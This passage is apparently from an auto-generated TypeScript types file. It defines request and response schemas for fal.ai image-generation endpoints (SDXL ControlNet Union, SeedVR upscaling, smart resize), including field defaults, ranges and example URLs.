inputFalAiSdxlControlnetUnionImageSize)[keyof typeof inputFalAiSdxlControlnetUnionImageSize] + +export const inputFalAiSdxlControlnetUnionFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiSdxlControlnetUnionFormatEnumKey = + (typeof inputFalAiSdxlControlnetUnionFormatEnum)[keyof typeof inputFalAiSdxlControlnetUnionFormatEnum] + +export type InputFalAiSdxlControlnetUnion = { + /** + * @description The version of the safety checker to use. v1 is the default CompVis safety checker. v2 uses a custom ViT model. + * @default 'v1' + * @type string | undefined + */ + safety_checker_version?: InputFalAiSdxlControlnetUnionSafetyCheckerVersionEnumKey + /** + * @description The URL of the control image. + * @default null + * @example https://fal-cdn.batuhan-941.workers.dev/files/rabbit/MiN_j3St9B8esJleCZKMU.jpeg + */ + depth_image_url?: string | null + /** + * @description + * An id bound to a request, can be used with response to identify the request + * itself. + * + * @default '' + * @type string | undefined + */ + request_id?: string + /** + * @description + * The negative prompt to use. Use it to address details that you don't want + * in the image. This could be colors, objects, scenery and even the small details + * (e.g. moustache, blurry, low resolution). + * + * @default '' + * @example cartoon, illustration, animation. face. male, female + * @example ugly, deformed + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 8 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The URL of the control image. + * @default null + * @example https://fal-cdn.batuhan-941.workers.dev/files/rabbit/MiN_j3St9B8esJleCZKMU.jpeg + */ + teed_image_url?: string | null + /** + * @description The list of embeddings to use. + * @default [] + * @type array | undefined + */ + embeddings?: EmbeddingA209Ea15[] + /** + * @description The URL of the control image. + * @default null + * @example https://fal-cdn.batuhan-941.workers.dev/files/rabbit/MiN_j3St9B8esJleCZKMU.jpeg + */ + normal_image_url?: string | null + /** + * @description The URL of the control image. + * @default null + * @example https://fal-cdn.batuhan-941.workers.dev/files/rabbit/MiN_j3St9B8esJleCZKMU.jpeg + */ + openpose_image_url?: string | null + /** + * @description Whether to preprocess the openpose image. + * @default true + * @type boolean | undefined + */ + openpose_preprocess?: boolean + /** + * @description The URL of the control image. + * @default null + * @example https://fal-cdn.batuhan-941.workers.dev/files/rabbit/MiN_j3St9B8esJleCZKMU.jpeg + */ + segmentation_image_url?: string | null + /** + * @description Whether to preprocess the depth image. + * @default true + * @type boolean | undefined + */ + depth_preprocess?: boolean + /** + * @description The size of the generated image. Leave it none to automatically infer from the control image. + * @default null + * @example null + */ + image_size?: + | ImageSizeE4316A5A + | InputFalAiSdxlControlnetUnionImageSizeKey + | null + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 70 + * @default 35 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Whether to preprocess the normal image. + * @default true + * @type boolean | undefined + */ + normal_preprocess?: boolean + /** + * @description Whether to preprocess the segmentation image. + * @default true + * @type boolean | undefined + */ + segmentation_preprocess?: boolean + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 7.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Whether to preprocess the canny image. + * @default true + * @type boolean | undefined + */ + canny_preprocess?: boolean + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + format?: InputFalAiSdxlControlnetUnionFormatEnumKey + /** + * @description The URL of the control image. + * @default null + * @example https://fal-cdn.batuhan-941.workers.dev/files/rabbit/MiN_j3St9B8esJleCZKMU.jpeg + */ + canny_image_url?: string | null + /** + * @description The prompt to use for generating the image. Be as descriptive as possible for best results. + * @example Ice fortress, aurora skies, polar wildlife, twilight + * @type string + */ + prompt: string + /** + * @description The scale of the controlnet conditioning. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + controlnet_conditioning_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description If set to true, the prompt will be expanded with additional prompts. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description + * The same seed and the same prompt given to the same version of Stable Diffusion + * will output the same image every time. + * + * @default null + */ + seed?: number | null + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The list of LoRA weights to use. + * @default [] + * @type array | undefined + */ + loras?: LoraWeightAd4A2B3C[] + /** + * @description Whether to preprocess the teed image. + * @default true + * @type boolean | undefined + */ + teed_preprocess?: boolean +} + +export type Image9A125Bf0 = { + width: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + height: number +} + +export type OutputFalAiSdxlControlnetUnion = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + timings: { + [key: string]: number + } + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @type array + */ + images: Image9A125Bf0[] +} + +export type Embedding9Ccea63D = { + /** + * @description URL or the path to the embedding weights. + * @example https://huggingface.co/RyuusouI/Negativexld/resolve/20515981675c6e76d5b91e2343b958d27c5ad0ab/negativeXL_D.safetensors + * @example https://filebin.net/3chfqasxpqu21y8n/my-custom-lora-v1.safetensors + * @type string + */ + path: string + /** + * @description + * The list of tokens to use for the embedding. When omitted, tokens + * are generated as , , ... to match the number of vectors in + * the embedding file. + * + * @default null + */ + tokens?: string[] | null +} + +export type ImageSize43D26220 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export type LoraWeightE06Fb9F6 = { + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description If set to true, the embedding will be forced to be used. + * @default false + * @type boolean | undefined + */ + force?: boolean + /** + * @description URL or path to a LoRA safetensors file. Or HF model name that resolves to safetensors weights. + * @example https://huggingface.co/nerijs/pixel-art-xl/resolve/8bf4a4d9ea283e00a51fafda8e0539f8248ea037/pixel-art-xl.safetensors + * @example https://filebin.net/3chfqasxpqu21y8n/my-custom-lora-v1.safetensors + * @type string + */ + path: string +} + +export const inputFalAiSdxlControlnetUnionImageToImageSafetyCheckerVersionEnum = + { + v1: 'v1', + v2: 'v2', + } as const + +export type InputFalAiSdxlControlnetUnionImageToImageSafetyCheckerVersionEnumKey = + (typeof inputFalAiSdxlControlnetUnionImageToImageSafetyCheckerVersionEnum)[keyof typeof inputFalAiSdxlControlnetUnionImageToImageSafetyCheckerVersionEnum] + +export const inputFalAiSdxlControlnetUnionImageToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiSdxlControlnetUnionImageToImageImageSizeKey = + (typeof inputFalAiSdxlControlnetUnionImageToImageImageSize)[keyof typeof inputFalAiSdxlControlnetUnionImageToImageImageSize] + +export const inputFalAiSdxlControlnetUnionImageToImageFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiSdxlControlnetUnionImageToImageFormatEnumKey = + (typeof inputFalAiSdxlControlnetUnionImageToImageFormatEnum)[keyof typeof inputFalAiSdxlControlnetUnionImageToImageFormatEnum] + +export type InputFalAiSdxlControlnetUnionImageToImage = { + /** + * @description The URL of the control image. + * @default null + * @example https://fal-cdn.batuhan-941.workers.dev/files/rabbit/MiN_j3St9B8esJleCZKMU.jpeg + */ + segmentation_image_url?: string | null + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 8 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The URL of the control image. + * @default null + * @example https://fal-cdn.batuhan-941.workers.dev/files/rabbit/MiN_j3St9B8esJleCZKMU.jpeg + */ + depth_image_url?: string | null + /** + * @description The list of embeddings to use. + * @default [] + * @type array | undefined + */ + embeddings?: Embedding9Ccea63D[] + /** + * @description The URL of the control image. + * @default null + * @example https://fal-cdn.batuhan-941.workers.dev/files/rabbit/MiN_j3St9B8esJleCZKMU.jpeg + */ + normal_image_url?: string | null + /** + * @description + * If set to true, the aspect ratio of the generated image will be preserved even + * if the image size is too large. However, if the image is not a multiple of 32 + * in width or height, it will be resized to the nearest multiple of 32. By default, + * this snapping to the nearest multiple of 32 will not preserve the aspect ratio. + * Set crop_output to True, to crop the output to the proper aspect ratio + * after generating. + * + * @default false + * @type boolean | undefined + */ + preserve_aspect_ratio?: boolean + /** + * @description Whether to preprocess the segmentation image. + * @default true + * @type boolean | undefined + */ + segmentation_preprocess?: boolean + /** + * @description The scale of the controlnet conditioning. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + controlnet_conditioning_scale?: number + /** + * @description If set to true, the prompt will be expanded with additional prompts. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Whether to preprocess the teed image. + * @default true + * @type boolean | undefined + */ + teed_preprocess?: boolean + /** + * @description The version of the safety checker to use. v1 is the default CompVis safety checker. v2 uses a custom ViT model. + * @default 'v1' + * @type string | undefined + */ + safety_checker_version?: InputFalAiSdxlControlnetUnionImageToImageSafetyCheckerVersionEnumKey + /** + * @description + * The negative prompt to use.Use it to address details that you don't want + * in the image. This could be colors, objects, scenery and even the small details + * (e.g. moustache, blurry, low resolution). + * + * @default '' + * @example cartoon, illustration, animation. face. male, female + * @type string | undefined + */ + negative_prompt?: string + /** + * @description + * An id bound to a request, can be used with response to identify the request + * itself. + * + * @default '' + * @type string | undefined + */ + request_id?: string + /** + * @description The URL of the control image. + * @default null + * @example https://fal-cdn.batuhan-941.workers.dev/files/rabbit/MiN_j3St9B8esJleCZKMU.jpeg + */ + teed_image_url?: string | null + /** + * @description determines how much the generated image resembles the initial image + * @minimum 0.05 + * @maximum 1 + * @default 0.95 + * @type number | undefined + */ + strength?: number + /** + * @description The URL of the image to use as a starting point for the generation. + * @example https://fal-cdn.batuhan-941.workers.dev/files/tiger/IExuP-WICqaIesLZAZPur.jpeg + * @type string + */ + image_url: string + /** + * @description The URL of the control image. + * @default null + * @example https://fal-cdn.batuhan-941.workers.dev/files/rabbit/MiN_j3St9B8esJleCZKMU.jpeg + */ + openpose_image_url?: string | null + /** + * @description Whether to preprocess the openpose image. + * @default true + * @type boolean | undefined + */ + openpose_preprocess?: boolean + /** + * @description The size of the generated image. Leave it none to automatically infer from the control image. + * @default null + * @example null + */ + image_size?: + | ImageSize43D26220 + | InputFalAiSdxlControlnetUnionImageToImageImageSizeKey + | null + /** + * @description + * If set to true, the output cropped to the proper aspect ratio after generating. + * + * @default false + * @type boolean | undefined + */ + crop_output?: boolean + /** + * @description Whether to preprocess the depth image. + * @default true + * @type boolean | undefined + */ + depth_preprocess?: boolean + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 70 + * @default 35 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Whether to preprocess the normal image. + * @default true + * @type boolean | undefined + */ + normal_preprocess?: boolean + /** + * @description Whether to preprocess the canny image. + * @default true + * @type boolean | undefined + */ + canny_preprocess?: boolean + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 7.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + format?: InputFalAiSdxlControlnetUnionImageToImageFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The prompt to use for generating the image. Be as descriptive as possible for best results. + * @example Ice fortress, aurora skies, polar wildlife, twilight + * @type string + */ + prompt: string + /** + * @description The URL of the control image. + * @default null + * @example https://fal-cdn.batuhan-941.workers.dev/files/rabbit/MiN_j3St9B8esJleCZKMU.jpeg + */ + canny_image_url?: string | null + /** + * @description The list of LoRA weights to use. + * @default [] + * @type array | undefined + */ + loras?: LoraWeightE06Fb9F6[] + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description + * The same seed and the same prompt given to the same version of Stable Diffusion + * will output the same image every time. + * + * @default null + */ + seed?: number | null +} + +export type Image60D9Adfa = { + width: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + height: number +} + +export type OutputFalAiSdxlControlnetUnionImageToImage = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + timings: { + [key: string]: number + } + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @type array + */ + images: Image60D9Adfa[] +} + +export type Embedding5Fd2Cddf = { + /** + * @description URL or the path to the embedding weights. + * @example https://huggingface.co/RyuusouI/Negativexld/resolve/20515981675c6e76d5b91e2343b958d27c5ad0ab/negativeXL_D.safetensors + * @example https://filebin.net/3chfqasxpqu21y8n/my-custom-lora-v1.safetensors + * @type string + */ + path: string + /** + * @description + * The list of tokens to use for the embedding. When omitted, tokens + * are generated as , , ... to match the number of vectors in + * the embedding file. + * + * @default null + */ + tokens?: string[] | null +} + +export type ImageSize9E0Ab7Ae = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export type LoraWeight2383Fb78 = { + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description If set to true, the embedding will be forced to be used. + * @default false + * @type boolean | undefined + */ + force?: boolean + /** + * @description URL or path to a LoRA safetensors file. Or HF model name that resolves to safetensors weights. + * @example https://huggingface.co/nerijs/pixel-art-xl/resolve/8bf4a4d9ea283e00a51fafda8e0539f8248ea037/pixel-art-xl.safetensors + * @example https://filebin.net/3chfqasxpqu21y8n/my-custom-lora-v1.safetensors + * @type string + */ + path: string +} + +export const inputFalAiSdxlControlnetUnionInpaintingSafetyCheckerVersionEnum = { + v1: 'v1', + v2: 'v2', +} as const + +export type InputFalAiSdxlControlnetUnionInpaintingSafetyCheckerVersionEnumKey = + (typeof inputFalAiSdxlControlnetUnionInpaintingSafetyCheckerVersionEnum)[keyof typeof inputFalAiSdxlControlnetUnionInpaintingSafetyCheckerVersionEnum] + +export const inputFalAiSdxlControlnetUnionInpaintingImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiSdxlControlnetUnionInpaintingImageSizeKey = + (typeof inputFalAiSdxlControlnetUnionInpaintingImageSize)[keyof typeof inputFalAiSdxlControlnetUnionInpaintingImageSize] + +export const inputFalAiSdxlControlnetUnionInpaintingFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiSdxlControlnetUnionInpaintingFormatEnumKey = + (typeof inputFalAiSdxlControlnetUnionInpaintingFormatEnum)[keyof typeof inputFalAiSdxlControlnetUnionInpaintingFormatEnum] + +export type InputFalAiSdxlControlnetUnionInpainting = { + /** + * @description The URL of the control image. + * @default null + * @example https://fal-cdn.batuhan-941.workers.dev/files/rabbit/MiN_j3St9B8esJleCZKMU.jpeg + */ + segmentation_image_url?: string | null + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 8 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The URL of the control image. + * @default null + * @example https://fal-cdn.batuhan-941.workers.dev/files/rabbit/MiN_j3St9B8esJleCZKMU.jpeg + */ + depth_image_url?: string | null + /** + * @description The list of embeddings to use. + * @default [] + * @type array | undefined + */ + embeddings?: Embedding5Fd2Cddf[] + /** + * @description The URL of the control image. + * @default null + * @example https://fal-cdn.batuhan-941.workers.dev/files/rabbit/MiN_j3St9B8esJleCZKMU.jpeg + */ + normal_image_url?: string | null + /** + * @description Whether to preprocess the segmentation image. + * @default true + * @type boolean | undefined + */ + segmentation_preprocess?: boolean + /** + * @description The scale of the controlnet conditioning. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + controlnet_conditioning_scale?: number + /** + * @description If set to true, the prompt will be expanded with additional prompts. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Whether to preprocess the teed image. + * @default true + * @type boolean | undefined + */ + teed_preprocess?: boolean + /** + * @description The version of the safety checker to use. v1 is the default CompVis safety checker. v2 uses a custom ViT model. + * @default 'v1' + * @type string | undefined + */ + safety_checker_version?: InputFalAiSdxlControlnetUnionInpaintingSafetyCheckerVersionEnumKey + /** + * @description + * The negative prompt to use.Use it to address details that you don't want + * in the image. This could be colors, objects, scenery and even the small details + * (e.g. moustache, blurry, low resolution). + * + * @default '' + * @example cartoon, illustration, animation. face. male, female + * @type string | undefined + */ + negative_prompt?: string + /** + * @description + * An id bound to a request, can be used with response to identify the request + * itself. + * + * @default '' + * @type string | undefined + */ + request_id?: string + /** + * @description The URL of the control image. + * @default null + * @example https://fal-cdn.batuhan-941.workers.dev/files/rabbit/MiN_j3St9B8esJleCZKMU.jpeg + */ + teed_image_url?: string | null + /** + * @description determines how much the generated image resembles the initial image + * @minimum 0.01 + * @maximum 1 + * @default 0.95 + * @type number | undefined + */ + strength?: number + /** + * @description The URL of the image to use as a starting point for the generation. + * @example https://raw.githubusercontent.com/CompVis/latent-diffusion/main/data/inpainting_examples/overture-creations-5sI6fQgYIuo.png + * @type string + */ + image_url: string + /** + * @description The URL of the control image. + * @default null + * @example https://fal-cdn.batuhan-941.workers.dev/files/rabbit/MiN_j3St9B8esJleCZKMU.jpeg + */ + openpose_image_url?: string | null + /** + * @description Whether to preprocess the openpose image. + * @default true + * @type boolean | undefined + */ + openpose_preprocess?: boolean + /** + * @description The size of the generated image. Leave it none to automatically infer from the control image. + * @default null + * @example null + */ + image_size?: + | ImageSize9E0Ab7Ae + | InputFalAiSdxlControlnetUnionInpaintingImageSizeKey + | null + /** + * @description The URL of the mask to use for inpainting. + * @example https://raw.githubusercontent.com/CompVis/latent-diffusion/main/data/inpainting_examples/overture-creations-5sI6fQgYIuo_mask.png + * @type string + */ + mask_url: string + /** + * @description Whether to preprocess the depth image. + * @default true + * @type boolean | undefined + */ + depth_preprocess?: boolean + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 70 + * @default 35 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Whether to preprocess the normal image. + * @default true + * @type boolean | undefined + */ + normal_preprocess?: boolean + /** + * @description Whether to preprocess the canny image. + * @default true + * @type boolean | undefined + */ + canny_preprocess?: boolean + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 7.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + format?: InputFalAiSdxlControlnetUnionInpaintingFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The prompt to use for generating the image. Be as descriptive as possible for best results. + * @example Ice fortress, aurora skies, polar wildlife, twilight + * @type string + */ + prompt: string + /** + * @description The URL of the control image. + * @default null + * @example https://fal-cdn.batuhan-941.workers.dev/files/rabbit/MiN_j3St9B8esJleCZKMU.jpeg + */ + canny_image_url?: string | null + /** + * @description The list of LoRA weights to use. + * @default [] + * @type array | undefined + */ + loras?: LoraWeight2383Fb78[] + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description + * The same seed and the same prompt given to the same version of Stable Diffusion + * will output the same image every time. + * + * @default null + */ + seed?: number | null +} + +export type Image4E6Df294 = { + width: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + height: number +} + +export type OutputFalAiSdxlControlnetUnionInpainting = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + timings: { + [key: string]: number + } + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @type array + */ + images: Image4E6Df294[] +} + +export const inputFalAiSeedvrUpscaleImageOutputFormatEnum = { + png: 'png', + jpg: 'jpg', + webp: 'webp', +} as const + +export type InputFalAiSeedvrUpscaleImageOutputFormatEnumKey = + (typeof inputFalAiSeedvrUpscaleImageOutputFormatEnum)[keyof typeof inputFalAiSeedvrUpscaleImageOutputFormatEnum] + +export const inputFalAiSeedvrUpscaleImageUpscaleModeEnum = { + target: 'target', + factor: 'factor', +} as const + +export type InputFalAiSeedvrUpscaleImageUpscaleModeEnumKey = + (typeof inputFalAiSeedvrUpscaleImageUpscaleModeEnum)[keyof typeof inputFalAiSeedvrUpscaleImageUpscaleModeEnum] + +export const inputFalAiSeedvrUpscaleImageTargetResolutionEnum = { + '720p': '720p', + '1080p': '1080p', + '1440p': '1440p', + '2160p': '2160p', +} as const + +export type InputFalAiSeedvrUpscaleImageTargetResolutionEnumKey = + (typeof inputFalAiSeedvrUpscaleImageTargetResolutionEnum)[keyof typeof inputFalAiSeedvrUpscaleImageTargetResolutionEnum] + +export type InputFalAiSeedvrUpscaleImage = { + /** + * @description The format of the output image. + * @default 'jpg' + * @type string | undefined + */ + output_format?: InputFalAiSeedvrUpscaleImageOutputFormatEnumKey + /** + * @description Upscaling factor to be used. Will multiply the dimensions with this factor when `upscale_mode` is `factor`. + * @minimum 1 + * @maximum 10 + * @default 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The noise scale to use for the generation process. + * @minimum 0 + * @maximum 1 + * @default 0.1 + * @type number | undefined + */ + noise_scale?: number + /** + * @description The mode to use for the upscale. If 'target', the upscale factor will be calculated based on the target resolution. If 'factor', the upscale factor will be used directly. + * @default 'factor' + * @type string | undefined + */ + upscale_mode?: InputFalAiSeedvrUpscaleImageUpscaleModeEnumKey + /** + * @description The target resolution to upscale to when `upscale_mode` is `target`. + * @default '1080p' + * @type string | undefined + */ + target_resolution?: InputFalAiSeedvrUpscaleImageTargetResolutionEnumKey + /** + * @description The input image to be processed + * @example https://storage.googleapis.com/falserverless/example_inputs/seedvr2/image_in.png + * @type string + */ + image_url: string + /** + * @description The random seed used for the generation process. + */ + seed?: number | null + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type ImageFile27Ec520F = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputFalAiSeedvrUpscaleImage = { + /** + * @description The random seed used for the generation process. + * @type integer + */ + seed: number + /** + * @description Upscaled image file after processing + * @example {"content_type":"image/png","url":"https://storage.googleapis.com/falserverless/example_outputs/seedvr2/image_out.png"} + * @type object + */ + image: ImageFile27Ec520F +} + +export const inputFalAiSeedvrUpscaleImageSeamlessOutputFormatEnum = { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', +} as const + +export type InputFalAiSeedvrUpscaleImageSeamlessOutputFormatEnumKey = + (typeof inputFalAiSeedvrUpscaleImageSeamlessOutputFormatEnum)[keyof typeof inputFalAiSeedvrUpscaleImageSeamlessOutputFormatEnum] + +export const inputFalAiSeedvrUpscaleImageSeamlessUpscaleModeEnum = { + target: 'target', + factor: 'factor', +} as const + +export type InputFalAiSeedvrUpscaleImageSeamlessUpscaleModeEnumKey = + (typeof inputFalAiSeedvrUpscaleImageSeamlessUpscaleModeEnum)[keyof typeof inputFalAiSeedvrUpscaleImageSeamlessUpscaleModeEnum] + +export const inputFalAiSeedvrUpscaleImageSeamlessTargetResolutionEnum = { + '720p': '720p', + '1080p': '1080p', + '1440p': '1440p', + '2160p': '2160p', +} as const + +export type InputFalAiSeedvrUpscaleImageSeamlessTargetResolutionEnumKey = + (typeof inputFalAiSeedvrUpscaleImageSeamlessTargetResolutionEnum)[keyof typeof inputFalAiSeedvrUpscaleImageSeamlessTargetResolutionEnum] + +/** + * @description Input for seamless tileable image upscaling. + * @type object + */ +export type InputFalAiSeedvrUpscaleImageSeamless = { + /** + * @description The format of the output image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiSeedvrUpscaleImageSeamlessOutputFormatEnumKey + /** + * @description Upscaling factor to be used. Will multiply the dimensions with this factor when `upscale_mode` is `factor`. + * @minimum 1 + * @maximum 10 + * @default 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The noise scale to use for the generation process. + * @minimum 0 + * @maximum 1 + * @default 0.1 + * @type number | undefined + */ + noise_scale?: number + /** + * @description The mode to use for the upscale. If 'target', the upscale factor will be calculated based on the target resolution. If 'factor', the upscale factor will be used directly. + * @default 'factor' + * @type string | undefined + */ + upscale_mode?: InputFalAiSeedvrUpscaleImageSeamlessUpscaleModeEnumKey + /** + * @description The target resolution to upscale to when `upscale_mode` is `target`. + * @default '1080p' + * @type string | undefined + */ + target_resolution?: InputFalAiSeedvrUpscaleImageSeamlessTargetResolutionEnumKey + /** + * @description The input image to be processed + * @example https://v3b.fal.media/files/b/0a93eb33/dQ_ZwLyeu8P2UJYsa8RDW_seamless_image_in.png + * @type string + */ + image_url: string + /** + * @description The random seed used for the generation process. + */ + seed?: number | null + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type ImageFile8498075D = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputFalAiSeedvrUpscaleImageSeamless = { + /** + * @description The random seed used for the generation process. + * @type integer + */ + seed: number + /** + * @description Upscaled image file after processing + * @example {"content_type":"image/png","url":"https://storage.googleapis.com/falserverless/example_outputs/seedvr2/image_out.png"} + * @type object + */ + image: ImageFile8498075D +} + +export const inputFalAiSmartResizeOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiSmartResizeOutputFormatEnumKey = + (typeof inputFalAiSmartResizeOutputFormatEnum)[keyof typeof inputFalAiSmartResizeOutputFormatEnum] + +export const inputFalAiSmartResizeSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiSmartResizeSafetyToleranceEnumKey = + (typeof inputFalAiSmartResizeSafetyToleranceEnum)[keyof typeof inputFalAiSmartResizeSafetyToleranceEnum] + +export const inputFalAiSmartResizeResolutionEnum = { + '1K': '1K', + '2K': '2K', + '4K': '4K', +} as const + +export type InputFalAiSmartResizeResolutionEnumKey = + (typeof inputFalAiSmartResizeResolutionEnum)[keyof typeof inputFalAiSmartResizeResolutionEnum] + +export type InputFalAiSmartResize = { + /** + * @description The output image format. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiSmartResizeOutputFormatEnumKey + /** + * @description The safety tolerance level applied to the inner nano-banana-pro /edit calls. Higher numbers loosen safety filtering. + * @default '4' + * @type string | undefined + */ + safety_tolerance?: InputFalAiSmartResizeSafetyToleranceEnumKey + /** + * @description When True, the response contains data URIs in place of CDN URLs so the client can decode the images without an extra HTTP request. Adds latency for large outputs. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The list of target dimensions to generate, each written as ``x`` (e.g. ``"1920x1080"``). One output image is produced per target size (multiplied by ``num_images_per_size``). The endpoint internally picks the smallest nano-banana-pro preset that fully covers each target so the final image is a pixel-perfect match with no upscaling. + * @example ["1024x1024","1920x1080","768x1344"] + * @type array + */ + target_sizes: string[] + /** + * @description The URL of the source image to resize. + * @example https://storage.googleapis.com/falserverless/example_inputs/nano-banana-edit-input.png + * @type string + */ + image_url: string + /** + * @description Optional random seed forwarded to the inner nano-banana-pro /edit calls for reproducibility. The same seed is used for every target size when set. + */ + seed?: number | null + /** + * @description Hint for the minimum resolution tier to use internally. The smart-resize algorithm may pick a higher tier automatically when the requested target size is too large for this tier. This field does not affect the final output dimensions — those come from ``target_sizes``. + * @default '1K' + * @type string | undefined + */ + resolution?: 